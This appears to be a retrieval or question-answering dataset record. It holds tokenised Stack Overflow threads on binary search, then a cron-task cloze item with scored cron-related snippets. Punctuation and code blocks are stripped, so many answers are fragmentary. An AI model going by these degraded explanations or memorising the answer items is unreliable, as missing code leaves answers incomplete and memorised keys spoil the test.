array .. . Answer : How about the following recursive approach :", "Question : in a general binary-search we are looking for a value which appears in the array . Iometimes we need looking for the first element that is greater less than a target . Here is a binary-search code with my ugly solution : .. . .. . Is there a more elegant solution for this kind of problem Thanks Comment : Is the array sorted If so then binary-search if not then linear search.. . Comment : it is a sorted array so that we can do binary-search . In above code I am using comparison to find the first greater or less element in the array .. . Answer : My following implementation uses condition bottom top which is different from the answer of @templatetypedef .", "Question : We want to search for a given element in a circular sorted array in complexity not greater than O log n . Example : Search for 13 in 5 9 13 1 3 . My idea was to convert the circular array into a regular sorted array then do a binary-search on the resulting array but my problem was the algorithm I came up was stupid that it takes O n in the worst case : .. . .. . then the corresponding index of ith element will be determined from the following relation : .. . .. . it is clear that my conversion from circular to regular algorithm may take O n so we need a better one . According to ire and curses idea here is the solution in Java : .. . .. . Hopefully this will work . Comment : You should clarify whether or not you know in advance where the circular array begins . Typically in real-world applications you would know . Comment : No i don t know where the cirular array begins if i know then i won t need a conversion algorithm instead i ll apply the above relation directly and do a binary-search . Comment : You need to know if elements are distinct . Otherwise worst case is Omega n . Comment : See also stackoverflow.com questions 2796413 http : stackoverflow.com questions 2796413 binary-search-to-find-the-rotation-point-in-a-rotated-sorted-list .. . Answer : You can use binary-search to find the location of smallest element and reduce it to O Log n . You can find the location by this is just a sketch of algorithm it s inaccurate but you can get the idea from it : .. . 1 . i - 1 .. . 2 . j - n .. . 3 . while i j .. . 3.1 . k - j-i 2 .. . 3.2 . if arr k arr i then j - k 3.3 . else i - k .. . .. . After finding the location of the smallest element you can treat the array as two sorted arrays . Comment : that s a good start . thanks", "Question : The problem is to extend the binary-search algorithm to find all occurrences of a target value in a sorted array in the most efficient way . Concretely speaking the input of the algorithm are 1 a sorted array of integers where some numbers may appear more than once and 2 a target integer to be searched . The output of the algorithm should be a pair of index values indicating the first and last-occurrence of the integer in the array if it does occur . The source code could be in c c c++ . Also what is the max and min number of comparisons that we might need to find the indexes . Comment : If this is homework tag-it as such and show what you ve got so far . Comment : do you already understand the binary-search or do you need an explanation of that too Comment : yeah I understand the binary-search algo . This is not an homework..its a part of class discussion . Comment : .. . doesn t that make it homework Comment : okay treat it as a homework .. . Answer : There s no clean answer to the most efficient part of the question . That would depend on how many entries with the same value is to be expected . If it s a few the a linear search in both directtions of the array after finding one element will be you re fastest option but if you re expecting a lot of entries with the same value you could do kind of a binary-search to find the start end indices . Disclaimer : Not tested it s meant to show the idea and not to be used directly as production code .. . .. . and then the reverse for the upper bound . However it will require quite a lot of elements before this is faster than a simple linear search . Comment : thanks for the help", "Question : What is the difference between Linear search and Binary search Comment : Please read the appropriate sections in your course material which has hopefully been selected and prepared by your instructor s . Failing that a general wikipedia c2 or google-search can answer may of these sort of questions . There is a good amount of well-done course lecture notes to be found online as well . .. . Answer : Linear search also referred to as sequential search looks at each element in sequence from the start to see if the desired element is present in the data structure . When the amount of data is small this search is fast.Its easy but work needed is in proportion to the amount of data to be searched.Doubling the number of elements will double the time to search if the desired element is not present . Binary search is efficient for larger array . In this we check the middle element.If the value is bigger that what we are looking for then look in the first half otherwise look in the second half . Repeat this until the desired item is found . The table must be sorted for binary-search . It eliminates half the data at each iteration.Its logarithmic . If we have 1000 elements to search binary-search takes about 10 steps linear search 1000 steps . Comment : @Prabu - Incorrect - Best case would be 1 worst 1000 with an average of 500 .", "Question : Is binary-search optimal in worst case My instructor has said so but I could not find a book that backs it up . We start with an ordered array and in worst case worst case for that algorithm any algorithm will always take more pairwise comparisons than binary-search . Many people said that the question was unclear . Sorry So the input is any general sorted array . I am looking for a proof which says that any search algorithm will take at least log2 N comparisons in worst case worst case for the algo in consideration . Comment : en.wikipedia.org wiki Interpolation search http : en.wikipedia.org wiki Interpolation search Comment : What shall happen to all the answers that fail to address the actual question i.e . they do not explain proof why log2 N is optimal for the worst-case of any algorithm I m hesitating to downvote all the answers given so far. . Comment : I think you mean at most log2 N comparisons in worst case . .. . Answer : I think the question is a little unclear but still here are my thoughts . Worst case of Binary search would be when the element you are searching for is found after all log n comparisons . But the same data can be best case for linear search . It depends on the data arrangement and what you are searching for but the worst case for Binary search would end up to be log n . Now this cannot be compared with same data and search for linear search since its worst case would be different . The worst case for Linear search could be finding an element which happens to be at the end of the array . For example : array A 1 2 3 4 5 6 and Binary Search on A for 1 would be the worst case . Whereas for the same array linear search for 6 would be the worst case not search for 1 .", "Question : We want to search for a given element in a circular sorted array in complexity not greater than O log n . Example : Search for 13 in 5 9 13 1 3 . My idea was to convert the circular array into a regular sorted array then do a binary-search on the resulting array but my problem was the algorithm I came up was stupid that it takes O n in the worst case : .. . .. . then the corresponding index of ith element will be determined from the following relation : .. . .. . it is clear that my conversion from circular to regular algorithm may take O n so we need a better one . According to ire and curses idea here is the solution in Java : .. . .. . Hopefully this will work . Comment : You should clarify whether or not you know in advance where the circular array begins . Typically in real-world applications you would know . Comment : No i don t know where the cirular array begins if i know then i won t need a conversion algorithm instead i ll apply the above relation directly and do a binary-search . Comment : You need to know if elements are distinct . Otherwise worst case is Omega n . Comment : See also stackoverflow.com questions 2796413 http : stackoverflow.com questions 2796413 binary-search-to-find-the-rotation-point-in-a-rotated-sorted-list .. . Answer : Not very elegant but of the top off my head - just use binary-search to find the pivot of the rotated array and then perform binary-search again compensating for the offset of the pivot . Kind of silly to perform two full searches but it does fulfill the condition since O log n + O log n O log n . Keep it simple and stupid tm Comment : +1 : simple is good . it would probably be possible to do both at the same time looking for wrapping point need to test if the order values for the current low and high indexes is reversed if it is not then you are on the segment with no wrapping point and if the sought value is in this segment then regular binary-search can take care of it if the number is not inside this segment or the segment has a wrapping point in it the split it and repeat this way you either find the wrapping point or you reduce it to a regular binary-search without finding it . Comment : @Unreason - you just described the algorithm in my answer . Comment : Yep for the numbers it solves the purpose . Great Comment : Ah . . That was simple", "Question : For most such operations we re using the lodash library . I m open to other suggestions but would likely just write the function myself before importing a new lib . lodash has sortedIndexOf which performs a binary-search in a sorted array returns index of match or -1 if not found . It also has sortedIndexBy which using a binary-search finds the index to insert a new element where you can specify a function to use to do the sort comparison returns a valid index if not found .. . .. . I cannot find a function to do a find return index only if found using an efficient sorted search allowing you to specify the sort value function . It might look something like this : .. . .. . I believe I could use .. . .. . but it just seems odd to me to not have the syntactically more compact and intuitive form of an already feature-rich set of sorted search functions . Am I missing something from the lodash docs Is there a built-in way to do this more idiomatically Or should I go with my extra-check method Comment : I don t think you re missing anything from the docs and there isn t an idiomatic way that I could find that was more efficient than what you wrote . .. . Answer : Reading through lodash code looks like it has a pair of functions to search for a minimum index to insert an element while keeping array sorted - sortedIndex and sortedIndexBy . Former takes an array and a value latter also accepts iteratee - a function that is invoked for each element . Note there are also sortedLastIndex and sortedLastIndexBy . Those look for the last index at which to insert a value . When it comes to checking whether element is in the array and returning its index when it is there s no function that accepts an iteratee just a lonely sortedIndexOf . It would be only logical to have sortedIndexOfBy the naming starts to get tricky here to accept an iteratee as well as sortedLastIndexOfBy . I like your idea of naming it sortedFindBy and will try to implement it along with sortedLastFindBy and add a pull request to lodash . Your extra-check solution is perfectly fine for now and takes advantage of the binary-search optimization while not adding too much of extra code . In the future when sortedFindBy is included in lodash you can always swap your code for the new function-call . You won t see any difference in performance of your code however .", "Question : We want to search for a given element in a circular sorted array in complexity not greater than O log n . Example : Search for 13 in 5 9 13 1 3 . My idea was to convert the circular array into a regular sorted array then do a binary-search on the resulting array but my problem was the algorithm I came up was stupid that it takes O n in the worst case : .. . .. . then the corresponding index of ith element will be determined from the following relation : .. . .. . it is clear that my conversion from circular to regular algorithm may take O n so we need a better one . According to ire and curses idea here is the solution in Java : .. . .. . Hopefully this will work . Comment : You should clarify whether or not you know in advance where the circular array begins . Typically in real-world applications you would know . Comment : No i don t know where the cirular array begins if i know then i won t need a conversion algorithm instead i ll apply the above relation directly and do a binary-search . Comment : You need to know if elements are distinct . Otherwise worst case is Omega n . Comment : See also stackoverflow.com questions 2796413 http : stackoverflow.com questions 2796413 binary-search-to-find-the-rotation-point-in-a-rotated-sorted-list .. . Answer : Below is a implementation in C using binary-search .", "Question : Every programmer is taught that binary-search is a good fast way to search an ordered list of data . There are many toy textbook examples of using binary-search but what about in real programming : where is binary-search actually used in real-life programs Comment : Where is plugging round pegs into round holes used in practice .. . Answer : Binary search offers a feature that many readymade map dictionary implementations don t : finding non-exact matches . For example I ve used binary-search to implement geotagging of photos based on GPS logs : put all GPS waypoints in an array sorted by timestamp and use binary-search to identify the waypoint that lies closest in time to each photo s timestamp .", "Question : in a general binary-search we are looking for a value which appears in the array . Iometimes we need looking for the first element that is greater less than a target . Here is a binary-search code with my ugly solution : .. . .. . Is there a more elegant solution for this kind of problem Thanks Comment : Is the array sorted If so then binary-search if not then linear search.. . Comment : it is a sorted array so that we can do binary-search . In above code I am using comparison to find the first greater or less element in the array .. . Answer : A particularly elegant way of thinking about this problem is to think about doing a binary-search over a transformed version of the array where the array has been modified by applying the function .. . .. . Now the goal is to find the very first place that this function takes on the value 1 . We can do that using a binary-search as follows : .. . .. . To see that this algorithm is correct consider each comparison being made . If we find an element that s no greater than the target element then it and everything below it can t possibly match so there s no need to search that region . We can recursively search the left half . If we find an element that is larger than the element in question then anything after it must also be larger so they can t be the first element that s bigger and so we don t need to search them . The middle element is thus the last possible place it could be . Note that on each iteration we drop off at least half the remaining elements from consideration . If the top branch executes then the elements in the range low low + high 2 are all discarded causing us to lose floor low + high 2 - low + 1 low + high 2 - low high - low 2 elements . If the bottom branch executes then the elements in the range low + high 2 + 1 high are all discarded . This loses us high - floor low + high 2 + 1 high - low + high 2 high - low 2 elements . Consequently we ll end up finding the first element greater than the target in O lg n iterations of this process . EDIT : Here s a trace of the algorithm running on the array 0 0 1 1 1 1 . Initially we have .. . .. . So we compute mid 0 + 6 2 3 so we inspect the element at position 3 which has value 1 . Since 1 0 we set high mid 3 . We now have .. . .. . We compute mid 0 + 3 2 1 so we inspect element 1 . Since this has value 0 0 we set mid low + 1 2 . We re now left with L 2 and H 3 : .. . .. . Now we compute mid 2 + 3 2 2 . The element at index 2 is 1 and since 1 0 we set H mid 2 at which point we stop and indeed we re looking at the first element greater than 0 . Hope this helps Comment : Can you please run an example of your solution for example we have input 0 0 1 1 1 1 . lets find the first element that is greater than 0 . Comment : Sure Edit above . Comment : similarly we can compose the func to find the first element smaller than t : if a m t high m-1 else low m Comment : It is similar that find the last element that is less than target Comment : @SecureFish : Just to add this minor point : For this opposite problem it is also necessary to adjust the calculation of mid . Due to the combination of the round-down-effect in the division and the subtracting it is possible to get negative high values without a modification . This could be solved by changing to a round-up-behavior in this calculation for instance by adding the modulus 2 term again .", "Question : We want to search for a given element in a circular sorted array in complexity not greater than O log n . Example : Search for 13 in 5 9 13 1 3 . My idea was to convert the circular array into a regular sorted array then do a binary-search on the resulting array but my problem was the algorithm I came up was stupid that it takes O n in the worst case : .. . .. . then the corresponding index of ith element will be determined from the following relation : .. . .. . it is clear that my conversion from circular to regular algorithm may take O n so we need a better one . According to ire and curses idea here is the solution in Java : .. . .. . Hopefully this will work . Comment : You should clarify whether or not you know in advance where the circular array begins . Typically in real-world applications you would know . Comment : No i don t know where the cirular array begins if i know then i won t need a conversion algorithm instead i ll apply the above relation directly and do a binary-search . Comment : You need to know if elements are distinct . Otherwise worst case is Omega n . Comment : See also stackoverflow.com questions 2796413 http : stackoverflow.com questions 2796413 binary-search-to-find-the-rotation-point-in-a-rotated-sorted-list .. . Answer : You have three values l m h for the values at the low mid and high indexes of your search . If you think were you would continue searching for each possibility : .. . .. . It s a question of considering where the target value could be and searching that half of the space . At most one half of the space will have the wrap-over in it and it is easy to determine whether or not the target value is in that half or the other . It s sort of a meta question - do you think of binary-search it terms of how it is often presented - finding a value between two points or more generally as a repeated division of an abstract search space . Comment : That doesn t work . Your four cases come down to two t m and t m which do exactly the same as in normal binary-search . Comment : Corrected the copy-paste error . Serves me right for being specific - a more descriptive version of the same thing got accepted .", "Question : We want to search for a given element in a circular sorted array in complexity not greater than O log n . Example : Search for 13 in 5 9 13 1 3 . My idea was to convert the circular array into a regular sorted array then do a binary-search on the resulting array but my problem was the algorithm I came up was stupid that it takes O n in the worst case : .. . .. . then the corresponding index of ith element will be determined from the following relation : .. . .. . it is clear that my conversion from circular to regular algorithm may take O n so we need a better one . According to ire and curses idea here is the solution in Java : .. . .. . Hopefully this will work . Comment : You should clarify whether or not you know in advance where the circular array begins . Typically in real-world applications you would know . Comment : No i don t know where the cirular array begins if i know then i won t need a conversion algorithm instead i ll apply the above relation directly and do a binary-search . Comment : You need to know if elements are distinct . Otherwise worst case is Omega n . Comment : See also stackoverflow.com questions 2796413 http : stackoverflow.com questions 2796413 binary-search-to-find-the-rotation-point-in-a-rotated-sorted-list .. . Answer : Check this coe", "Question : We want to search for a given element in a circular sorted array in complexity not greater than O log n . Example : Search for 13 in 5 9 13 1 3 . My idea was to convert the circular array into a regular sorted array then do a binary-search on the resulting array but my problem was the algorithm I came up was stupid that it takes O n in the worst case : .. . .. . then the corresponding index of ith element will be determined from the following relation : .. . .. . it is clear that my conversion from circular to regular algorithm may take O n so we need a better one . According to ire and curses idea here is the solution in Java : .. . .. . Hopefully this will work . Comment : You should clarify whether or not you know in advance where the circular array begins . Typically in real-world applications you would know . Comment : No i don t know where the cirular array begins if i know then i won t need a conversion algorithm instead i ll apply the above relation directly and do a binary-search . Comment : You need to know if elements are distinct . Otherwise worst case is Omega n . Comment : See also stackoverflow.com questions 2796413 http : stackoverflow.com questions 2796413 binary-search-to-find-the-rotation-point-in-a-rotated-sorted-list .. . Answer : I think you can find the offset using this code :", "Question : We want to search for a given element in a circular sorted array in complexity not greater than O log n . Example : Search for 13 in 5 9 13 1 3 . My idea was to convert the circular array into a regular sorted array then do a binary-search on the resulting array but my problem was the algorithm I came up was stupid that it takes O n in the worst case : .. . .. . then the corresponding index of ith element will be determined from the following relation : .. . .. . it is clear that my conversion from circular to regular algorithm may take O n so we need a better one . According to ire and curses idea here is the solution in Java : .. . .. . Hopefully this will work . Comment : You should clarify whether or not you know in advance where the circular array begins . Typically in real-world applications you would know . Comment : No i don t know where the cirular array begins if i know then i won t need a conversion algorithm instead i ll apply the above relation directly and do a binary-search . Comment : You need to know if elements are distinct . Otherwise worst case is Omega n . Comment : See also stackoverflow.com questions 2796413 http : stackoverflow.com questions 2796413 binary-search-to-find-the-rotation-point-in-a-rotated-sorted-list .. . Answer : A simple method in Ruby", "Question : The problem is to extend the binary-search algorithm to find all occurrences of a target value in a sorted array in the most efficient way . Concretely speaking the input of the algorithm are 1 a sorted array of integers where some numbers may appear more than once and 2 a target integer to be searched . The output of the algorithm should be a pair of index values indicating the first and last-occurrence of the integer in the array if it does occur . The source code could be in c c c++ . Also what is the max and min number of comparisons that we might need to find the indexes . Comment : If this is homework tag-it as such and show what you ve got so far . Comment : do you already understand the binary-search or do you need an explanation of that too Comment : yeah I understand the binary-search algo . This is not an homework..its a part of class discussion . Comment : .. . doesn t that make it homework Comment : okay treat it as a homework .. . Answer : If you are a little clever you can define two different binary-search functions . One will return the index of the first appearance of the searched for value and the other will return the last appearance of the searched for value . From your knowledge of binary-search you should be able to determine the maximum and minimum number of comparisons . Using two binary searches should be the fastest method on average in my opinion . For instance if you use just one binary-search to find the first item and search linearly afterwards the worst case would be if the entire function is the same value . For an array of length 10000 this would give 10013 comparisons in the worst case while using two binary searches would give 28 comparisons in the worst case for the same array . Of course using the same size of array the best case for the binary linear search method would be 14 comparisons while the best case for two binary searches method is 26 comparisons . Update .. . .. . Okay here is a binary-search to find the first appearance of an element in an array . I ll give you a recursive function you can of course make it iterative and optimize this in other ways . This searches for the int val in the array a of ints . Also I haven t been careful about finding the midpoint if the array is really large there could be problems . However you should check after you are returned an index that it actually refers to the correct value because if val is not in the array the returned index will to correspond to the next element larger than val . A few minor changes to this will make a function that finds the last element . The keys to doing this are using the comparators correctly and remembering that integer-division always truncates . Comment : Can you please elaborate how to use two different binary functions in finding the first and last appearance I mean how do we compute that whether it is the first or last value . Comment : I updated my answer to give you one of the binary-search function . Now you find one that finds the last appearance of the value in the array . Comment : thank a lot for all your help I am assuming that the max no . of comparisons if I take 2 binary-search for finding the min and max index value are 2 times log 2 to the base n and the best case is log 2 to the base n......correct me if I am wrong in either of the case.where n is no . of elements . Comment : umm. . that s not quite right . The best case is 2 floor log base 2 of N and the worst case is 2 ceil log base 2 of N . The floor function rounds down the ceil function rounds up . Take for instance an array of length 3 . If I use the binary-search function above and the if val a mid is true then we have found the index with only 1 comparison but if it isn t true then it will take 2 comparisons . This corresponds with the worst and best cases above though without the 2 in front because we are only using one binary-search .", "Question : We want to search for a given element in a circular sorted array in complexity not greater than O log n . Example : Search for 13 in 5 9 13 1 3 . My idea was to convert the circular array into a regular sorted array then do a binary-search on the resulting array but my problem was the algorithm I came up was stupid that it takes O n in the worst case : .. . .. . then the corresponding index of ith element will be determined from the following relation : .. . .. . it is clear that my conversion from circular to regular algorithm may take O n so we need a better one . According to ire and curses idea here is the solution in Java : .. . .. . Hopefully this will work . Comment : You should clarify whether or not you know in advance where the circular array begins . Typically in real-world applications you would know . Comment : No i don t know where the cirular array begins if i know then i won t need a conversion algorithm instead i ll apply the above relation directly and do a binary-search . Comment : You need to know if elements are distinct . Otherwise worst case is Omega n . Comment : See also stackoverflow.com questions 2796413 http : stackoverflow.com questions 2796413 binary-search-to-find-the-rotation-point-in-a-rotated-sorted-list .. . Answer : You just use a simple binary-search as-if it were a regular sorted array . The only trick is you need to rotate the array indexes : .. . .. . where the start-index is the offset of the first element in the circular array . Comment : I think the problem with this is that you don t know the position of the smallest value in the array in advance which is what you are calling start index . It would be fairly simple to find that value in log n time though : Just check the first last and middle values in the array . If first is larger than middle you know the jump is between them . And you can use the same trick on that half of the array to find it . If middle is larger than second it is in the second half . If neither of these is true then the zero position of the array or current sub array is the start-position ." ] }
[ "yes-answer-long", "yes-answer-short" ]
algorithm
UNK_RELATION
cron-task@scheduler@118
cron-task -- cron-task is a task command or shell script executed periodically at certain times or dates by the cron @placeholder .
{ "confidence": [ 74.58540344238281, 66.93539428710938, 65.48989868164062, 65.26224517822266, 62.468841552734375, 61.28668975830078, 60.87947082519531, 58.87164306640625, 58.87164306640625, 53.49669647216797, 53.16190719604492, 51.45154571533203, 51.202552795410156, 51.202552795410156, 50.93718719482422, 50.03134536743164, 49.81390380859375, 49.71135711669922, 49.71135711669922, 49.26222229003906, 49.06653594970703, 48.4934196472168, 48.249603271484375, 48.17337417602539, 48.035552978515625, 47.958641052246094, 47.92411804199219, 47.92411804199219, 47.92411804199219, 47.58802032470703, 47.42029571533203, 47.17041015625, 46.75840759277344, 46.75840759277344, 46.75840759277344, 46.75840759277344, 46.75840759277344, 46.556602478027344, 46.508907318115234, 46.41523742675781, 46.242645263671875, 45.827606201171875, 45.81059265136719, 45.72264099121094, 45.703041076660156, 45.68887710571289, 45.61760711669922, 45.06828308105469, 45.06541061401367, 45.0177116394043, 44.971168518066406, 44.79627227783203, 44.50925064086914, 44.27442932128906, 44.21184539794922, 43.95167922973633, 43.95167922973633, 43.95167922973633, 43.95167922973633, 43.95167922973633, 43.95167922973633, 43.95167922973633, 43.95167922973633, 43.267425537109375, 43.23047637939453, 42.78323745727539, 42.53215789794922, 42.46048355102539, 42.46048355102539, 42.46048355102539, 42.46048355102539, 42.46048355102539, 42.399620056152344, 42.339176177978516, 42.134727478027344, 42.044578552246094, 42.044578552246094, 41.881629943847656, 41.652347564697266, 41.60685729980469, 41.251853942871094, 41.13396453857422, 41.13396453857422, 40.99599838256836, 40.99599838256836, 40.90842819213867, 40.673248291015625, 40.673248291015625, 40.673248291015625, 40.673248291015625, 40.673248291015625, 40.673248291015625, 40.673248291015625, 40.673248291015625, 40.673248291015625, 40.673248291015625, 40.673248291015625, 40.673248291015625, 40.673248291015625, 40.673248291015625 ], "content": [ "or Cron-task", "I have to put a symfony command in a cron-task .", "i use this commands .. . .. . Cron task :", "I m familiar with Task Scheduler but I m struggling to convert a unix cron-task .", "How could I append a cron-task in crontab via a perl script", "I have a problem with cron-task creating .", "Cron is executing the file as-if it was a shell script .", "Here s my cron-task configuration for roothttp : i.stack.imgur.com 2PC5G.png .", "plesk 12.0 cron-task setup http : i.stack.imgur.com PPN26.png", "The only sensible way would be to use a cron job or Windows scheduled task .", ".. . .. . A Cron Job is a task performed at a certain time and is typically setup at the operating-system level .", "The cron command should be", "plesk cron job-scheduling task http : i.stack.imgur.com Juq0C.png .. . .. . In Plesk 12 and below : .. . .. .", "Instead of he having to go there I want to schedule a daily task using cron job .", "You can dynamically add and remove the Cron Entry using the shell script .", "There should be no reason you leave it up to the end user to do this : script the creation of the cron job task on installation .", "since crontab file is not actually what is running when a task is being triggered what you will to do would not work since cron tasks are run from the cron daemon .", "I guess i will need to sheduled task with cron after i have import the data but this need to be done with an URL .", "The reason I suggest this is because I would not rely on the cron scheduler to run you task at exactly the correct time .", "If yes then problem is in your cron command .", "After is script is executed it can intelligently remove itself from the cron .", "The cron expression i gave was endDate 23 OCT .. . .. . when am executing this code getting an error stating this task will never get executed.. . .. . .. . How to run a task using Cron expression only once in its life time", "The problem was the PATH to the cron enviroment .", "google web cron or pseudo cron not necessarily as a solution but for ideas .", "Schedule a cron job . . fetch to be run time and check inside cron script that if its time to run it or not if yes then do so", "cron command : .. . .. . I want to pass the parameter like written in cron command and do some process with that parameter in newEvent function .", "This differs from a server unix crontab windows task scheduler cron job that will actually run the code at the correct time .", "The link is like .. . .. . www.website.com index.php task cron api number .. . .. . If placing this link-to a web browser then run it works and records can be created .", "To call periodic tasks on windows you need to use Windows Task Scheduler : .. . .. . What is the Windows version of cron", "Question is if cron will allow to run same task multiple times - think that it should not let you do that - I am working on Windows unfortunately or not - here you are not able to fire up same task till it will not end .", "is cron running", "Do I install crontabs along with cron or chronograph or will cron work fine with only django-cron .", "Did you tried cron", "that s not possible with cron .", "so there is no way to use cron .", "cron is really easy .", "2 Don t use cron .", "Most of the times for cron to work you need to give absolute path .", "I m a total newbie with Plesk and I m wondering how to set up a cron-task for executing http address which is updating profiles .", "cron jobs don t have a status .", "Adding things to node-cron does not add it to cron https : en.wikipedia.org wiki Cron on your machine even though the naming can be confusing .", "Do you know how cron Task Scheduler APScheduler behave in those cases", "Is there any way for a cron job to open that HTML page so that my script is executed", "My first guess would be that your default shell is not Bash and that when the script is executed under cron it is be run under a different shell .", "Have you tried running the script manually and not via the cron", "according your question the answer is - yes you have to use sql query executed from cron or from java runned by cron .", "My cron job command is usr bin wget https : www.example.com updateScript.html .", "Lock the cron from linux : you can create a shell script that creates a lock file run your task and delete the lock file at the end and before that check if the file-exists to do nothing .", "at is a cousin of cron for one-shot jobs scheduled at specific times .", "As I may understand Cron-task means that you are on the beach and files being uploaded so you have to define where are files come from", "without using cron", "Another option is to use cron job Task Scheduler but to put it in the installer as a script so your end user doesn t have to do it .", "Delete Automate Cron http : theunixtips.com bash-automate-cron-job-maintenance .. . crontab -l -u grep -v unique command crontab -", "Use this to set your cron and also give email-address in your cron setting Cpanel so that you get an email when cron runs successfully .. . .. . wget -O - http : YOURSITE cron.php", "Create a wrapper script And schedule it in Cron to run every Second .", "Sadly cron cannot execute javascript on the page .", "To restart the cron Run .. . .. . service crond restart .. . .. . 3 .", "And to check status of cron Run .. . .. . service crond status", "And could you please show us the cron conf", "I set up the PATH in the cron and it work", "Do not use spaces within a tag this will confuse cron .", "I ve set up a cron job to run .", "If not there s something wrong with your cron daemon .", "I have used cron job but i run it as rake-task please you can try it .. . .. . And my task is like .. . .. . If cron job run fine then there will be nothing in cron.log.Otherwise it will show you if .. . .. . any error occurs and this file will be generate in your app root directory .", "I have a PHP with mySQL website just setup recently and it needs to have a cron-task running regularly in order to create records .", "if the interval is a factor of 1440 it s possible to use cron you may refer to How to do a cron job every 72 minutes http : stackoverflow.com questions 745901 how-to-do-a-cron-job-every-72-minutes", "In fact I want that this cron job to be Perpetual executed : everytime run.php is ended the script run.php is reloaded again and again.. .", "How timely does this cron job need to be", "Running interactive programs from cron is just crazy .", "Node -scheduler - not able to persist cron jobs .. .", "Wouldn t it be better if I set the sleep to my cron", "cron runs over and over at runs once .", "Your CRON should look like this : .. . .. . 5 .. . .. . CronWTF http : cronwtf.github.io is really usefull when you need to test out your CRON settings .", "I ran the env command in cron and noticed that the working directory is home user .", "Is there a way to call a script from a cron job only and make it so no other ips can run that script", "I have a cron job scheduled on my VPS which runs at manual execution but not when scheduled as a cron job .", "github.com liebig cron issues 62 https : github.com liebig cron issues 62", "with a cron job if most of then should only be executed in 3 days .", "node-cron simply allows your script to schedule jobs inside your script while your script is running .", "The the crons are not working for you because you need JavaScript to be executed however the cron simply pulls the code bur doesn t execute it .", "I am on shared ovh and i want to make a task cron I need one thing can execute a php page every minute and if not possible at least every five minutes .", "This is a cron-task so I don t really mind if it takes 5min.. . .. . .. . class google.appengine.runtime.DeadlineExceededError : .. . .. . Any idea whether it s possible to increase the timeout", "What is the best way to schedule a function to run at a specific time of day more than once without using a Cron Job or scheduling it with Task Scheduler", "For example on Debian Ubuntu it s very easy http : www.pantz.org software cron croninfo.html .. . .. . You can use this useful module to create cron : https : github.com heartsentwined zf2-cron", "cron-utils https : github.com jmrozanec cron-utils does not give you intervals between executions cron expressions may not have fix-sized time intervals .", "I have Cronjob use node module : node-cron https : github.com ncb000gt node-cron .. . .. . when I restart server .Cronjob not running .", "Strictly speaking cron cannot be setup to do this .", "That is to say that cron is for strictly time based events .", "I m new to cron job as well as rails .", "For that I am using WordPress cron job .", "have you got a server cron set up", "I want to use cron to active the request .", "I am trying to install Cron with laravel-4 .", "I want to run a cron for every 1 hour .", "There is a cron running at an unknown time in a remote node .", "It depends your server and his cron system installed .", "This causes the whole process to break in a cron job .", "You need to set PYTHONPATH in the cron job .", "The whole concept of a cron controller is completely flawed by design .", "Why is it not rotating during daily cron schedule" ] }
{ "confidence": [ 70.29308319091797, 68.7725601196289, 66.9073257446289, 66.57486724853516, 66.39067077636719, 66.39067077636719, 66.31269073486328, 62.29806900024414, 62.29806900024414, 62.01310729980469, 61.961875915527344, 61.8200798034668, 60.765769958496094, 60.339054107666016, 60.27437973022461, 59.920101165771484, 59.427330017089844, 59.35390853881836, 59.35390853881836, 59.130802154541016 ], "content": [ "Question : I m a total newbie with Plesk and I m wondering how to set up a cron-task for executing http address which is updating profiles . I have my link of course and I want to run this link every 15 minutes 24 hours a day non-stop . I d be very glad if you guys could help me with that . Here s my cron-task configuration for roothttp : i.stack.imgur.com 2PC5G.png . What should I fill in minute hour day And how about command Thanks for helping me Mike .. . Answer : It s not quite clear what do you mean under executing http address .. . .. . But you can try this setting .. . .. . Since Plesk 12.5 there are task options : .. . .. . plesk cron job-scheduling task http : i.stack.imgur.com Juq0C.png .. . .. . In Plesk 12 and below : .. . .. . plesk 12.0 cron-task setup http : i.stack.imgur.com PPN26.png", "Question : Good afternoon There is a site on the Kohana 3.3 which is done sending Email sms etc . Such a question if we are just 1 minute will launch the task such as newsletter email Minion Task allows to perform this task if it is already running For example if it was not completed since the previous start-up and is currently executing Comment : Think that it is not question about Kohana Minion - it will allow you to run it multiple times in different instances from cmd for example . Question is if cron will allow to run same task multiple times - think that it should not let you do that - I am working on Windows unfortunately or not - here you are not able to fire up same task till it will not end . .. . Answer : Minion task has not that functionality . You have two options : 1 . Lock the cron from linux : you can create a shell script that creates a lock file run your task and delete the lock file at the end and before that check if the file-exists to do nothing . 2 . Use some app context variable i.e . : kohana file cache database etc to create a flag for the task is running and check for this flag in your php code add the flag if the process is not running and clear it after the process finished . Hope this help let me know if you have aby doubt about this solution . Comment :", "Question : I created an HTML page for my client so that every time he goes there a script is executed to update some data in the database . As soon as he lands on that page there is an AJAX call made to a Google API some results are returned and then some PHP scripts are executed to update and insert data in a database . For instance if he goes to http : www.example.com updateScript.html all of the above happens . Instead of he having to go there I want to schedule a daily task using cron job . I don t want to write all of my logic in PHP because the JavaScript part is kind of complex . Is there any way for a cron job to open that HTML page so that my script is executed I checked a few questions in SO like the following one : Using cron jobs to visit url http : stackoverflow.com questions 13259530 using-cron-jobs-to-visit-url but this didn t work for me . My cron job command is usr bin wget https : www.example.com updateScript.html . I also tried changing the udpateScript.html to PHP but it didn t work . Any suggestions of what I could do .. . Answer : The the crons are not working for you because you need JavaScript to be executed however the cron simply pulls the code bur doesn t execute it . If you care to use JavaScript to as a processor you could consider using Phantom.js : http : phantomjs.org .. . .. . Here is an example of how its done : https : github.com ariya phantomjs blob master examples waitfor.js", "Question : Before I ask Cron Jobs and Task Scheduler will be my last options this script will be used across Windows and Linux and I d prefer to have a coded out method of doing this than leaving this to the end user to complete . Is there a library for Python that I can use to schedule tasks I will need to run a function once every hour however over time if I run a script once every hour and use .sleep once every hour will run at a different part of the hour from the previous day due to the delay inherent to executing running the script and or function . What is the best way to schedule a function to run at a specific time of day more than once without using a Cron Job or scheduling it with Task Scheduler Or if this is not possible I would like your input as well . .. . .. . AP Scheduler fit my needs exactly . .. . .. . Version 3.0 .. . .. . out : .. . .. . Version 3.0 .. . .. . From Animesh Pandey s answer below Comment : The only sensible way would be to use a cron job or Windows scheduled task . There should be no reason you leave it up to the end user to do this : script the creation of the cron job task on installation . Comment : Things to consider : 1 . What happens if your function takes longer than a minute hour : do you start the second instance or do you wait for the first instance to complete or do you cancel the second instance completely skip the interval 2 . What happens if the computer time jumps back forward DST or a manual change : do you repeat skip the corresponding executions 3 . What happens if the computer wakes up from hibernation : do you start the task immediately or wait for the next cycle to run 4 . Do you know how cron Task Scheduler APScheduler behave in those cases .. . Answer : One option is to write a C C++ wrapper that executes the python script on a regular basis . Your end-user would run the C C++ executable which would remain running in the background and periodically execute the python script . This may not be the best solution and may not work if you don t know C C++ or want to keep this 100 python . But it does seem like the 